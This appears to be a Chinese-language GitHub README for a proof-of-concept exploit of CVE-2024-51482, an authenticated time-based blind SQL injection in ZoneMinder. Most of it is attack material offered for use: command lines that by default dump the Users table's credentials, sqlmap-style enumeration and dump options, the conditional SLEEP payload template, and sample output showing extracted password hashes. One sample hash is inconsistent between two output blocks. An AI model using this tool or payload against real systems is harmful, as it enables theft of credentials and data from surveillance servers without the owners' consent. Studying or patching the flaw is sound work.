plur1bu5/CVE-2024-51482-PoC
GitHub: plur1bu5/CVE-2024-51482-PoC
针对 ZoneMinder 视频监控系统 CVE-2024-51482 认证型时间盲注漏洞的专用利用工具,支持多线程数据提取和 sqlmap 风格的数据库枚举操作。
Stars: 4 | Forks: 0
# CVE-2024-51482-PoC
针对 **ZoneMinder v1.37.* <= 1.37.64** 的认证型时间盲注 SQL injection 漏洞利用工具
## 🎯 概述
这是一个针对 CVE-2024-51482 的概念验证漏洞利用代码,该漏洞存在于 ZoneMinder 的事件管理功能中,属于时间盲注 SQL injection 漏洞。该漏洞利用需要认证,并使用条件 SLEEP 查询从数据库中提取数据。
## ✨ 功能特性
- ✅ **认证漏洞利用** - 支持使用凭据或 session cookie 登录
- ✅ **长度检测** - 在提取数据前使用二分查找确定精确的字符串长度
- ✅ **并行提取** - 采用多线程字符提取以提高速度
- ✅ **sqlmap 风格选项** - 支持枚举数据库、表、列以及转储数据
- ✅ **安全默认值** - 默认 3s 延迟,5 线程,确保高准确性
- ✅ **进度跟踪** - 带有详细模式的实时提取进度显示
- ✅ **清晰输出** - 以格式化表格形式展示转储的数据
## 📋 系统要求
```
pip install requests
```
## 🚀 快速开始
### 默认模式 - 转储凭据
```
python3 poc.py -t example.local -u admin -p password
```
### 使用 Session Cookie
```
python3 poc.py -t example.local --cookie 'ZMSESSID_value'
```
### 详细模式
```
python3 poc.py -t example.local -u admin -p password -v
```
## 📖 使用说明
### 枚举数据库
```
python3 poc.py -t example.local -u admin -p password --dbs
```
### 枚举表
```
python3 poc.py -t example.local -u admin -p password -D zm --tables
```
### 枚举列
```
python3 poc.py -t example.local -u admin -p password -D zm -T Users --columns
```
### 转储指定表
```
python3 poc.py -t example.local -u admin -p password -D zm -T Users --dump
```
## ⚙️ 选项
```
Required:
-t, --target TARGET Target URL (IP, hostname, or full URL)
Authentication:
-u, --username USERNAME Username for authentication
-p, --password PASSWORD Password for authentication
--cookie COOKIE Session cookie (ZMSESSID)
Enumeration:
--dbs Enumerate databases
-D, --database DATABASE Database to use
--tables Enumerate tables
-T, --table TABLE Table to use
--columns Enumerate columns
--dump Dump table data
Performance:
--delay DELAY Time delay in seconds (default: 3, safe)
--threads THREADS Number of threads (default: 5, safe)
-v, --verbose Show extraction progress
```
## 🎛️ 性能调优
### 安全模式 (推荐)
```
python3 poc.py -t example.local -u admin -p password --delay 3 --threads 5
```
- **速度**: 每个密码哈希约 2-3 分钟
- **准确性**: ✅ 高
### 快速模式 (可能出现错误)
```
python3 poc.py -t example.local -u admin -p password --delay 1 --threads 20
```
- **速度**: 每个密码哈希约 30-60 秒
- **准确性**: ⚠️ 可能产生错误的字符
## 📊 示例输出
```
[*] Target: http://example.local
[*] Delay: 3s | Threads: 5
[+] Authenticated as admin
[*] Testing vulnerability...
[+] Target is VULNERABLE!
[*] Default mode: Dumping zm.Users credentials...
[*] Dumping data from 'zm.Users'...
[+] Extracted: admin
[+] Extracted: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Extracted: john
[+] Extracted: $2y$10$prZGnazejKcaLq9bKNexXOglBSqOl1hq07LW7AJ/QNqZolbXKfFG.
====================================================================================
| Username | Password |
====================================================================================
| admin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| john | $2y$10$prABlsrtyjkiWv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
====================================================================================
[+] 2 entries dumped
```
## 🔧 工作原理
1. **认证** - 使用凭据登录或使用提供的 session cookie
2. **漏洞测试** - 使用简单的 SLEEP payload 确认目标存在漏洞
3. **长度检测** - 使用二分查找确定精确的字符串长度
4. **并行提取** - 同时提取所有字符位置的数据
5. **数据展示** - 将结果格式化为清晰的表格
### Payload 格式
该漏洞利用工具使用 sqlmap 风格的条件 SLEEP:
```
1 AND (SELECT 1 FROM (SELECT(SLEEP(3-(IF(condition,0,3)))))test)
```
- **TRUE 条件**: 无延迟 (0 秒)
- **FALSE 条件**: 完全延迟 (3 秒)
## 🐛 故障排除
### 结果不准确
如果您得到错误的字符(例如 `$` 变成了 `8`):
```
# 增加延迟并减少 threads
python3 poc.py -t example.local -u admin -p password --delay 4 --threads 3
```
### 速度太慢
如果提取速度太慢:
```
# 减少延迟并增加 threads (可能会降低准确性)
python3 poc.py -t example.local -u admin -p password --delay 2 --threads 10
```
### 未找到数据
如果默认的 `zm.Users` 不存在:
```
# 首先枚举 databases
python3 poc.py -t example.local -u admin -p password --dbs
# 然后枚举 tables
python3 poc.py -t example.local -u admin -p password -D database_name --tables
```
## 📝 CVE 信息
- **CVE ID**: CVE-2024-51482
- **受影响版本**: ZoneMinder v1.37.* <= 1.37.64
- **修复版本**: v1.37.65
- **漏洞类型**: Time-based Blind SQL Injection (时间盲注)
- **CVSS 评分**: 待定
## ⚠️ 免责声明
本工具仅供**教育和授权安全测试目的使用**。
- 请勿对您不拥有或未获得明确测试许可的系统使用此工具
- 未经授权访问计算机系统是非法行为
- 作者不对因使用或滥用此工具而造成的任何损害负责
- 在进行安全评估之前,请务必获得适当的授权
## 📚 参考资料
- [NVD - CVE-2024-51482](https://nvd.nist.gov/vuln/detail/CVE-2024-51482)
- [ZoneMinder GitHub](https://github.com/ZoneMinder/zoneminder)
## 📄 许可证
本项目仅供教育目的。请负责任且合乎道德地使用。
**⭐ 如果您觉得这个工具有用,请给仓库点个 Star!**
标签:CISA项目, CVE, CVE-2024-51482, N-day, PoC, Python, sqlmap, Web安全, ZoneMinder, 二分搜索, 攻击脚本, 数字签名, 数据提取, 无后门, 时间盲注, 暴力破解, 概念验证, 漏洞复现, 盲注, 网络安全, 蓝队分析, 认证后漏洞, 逆向工具, 隐私保护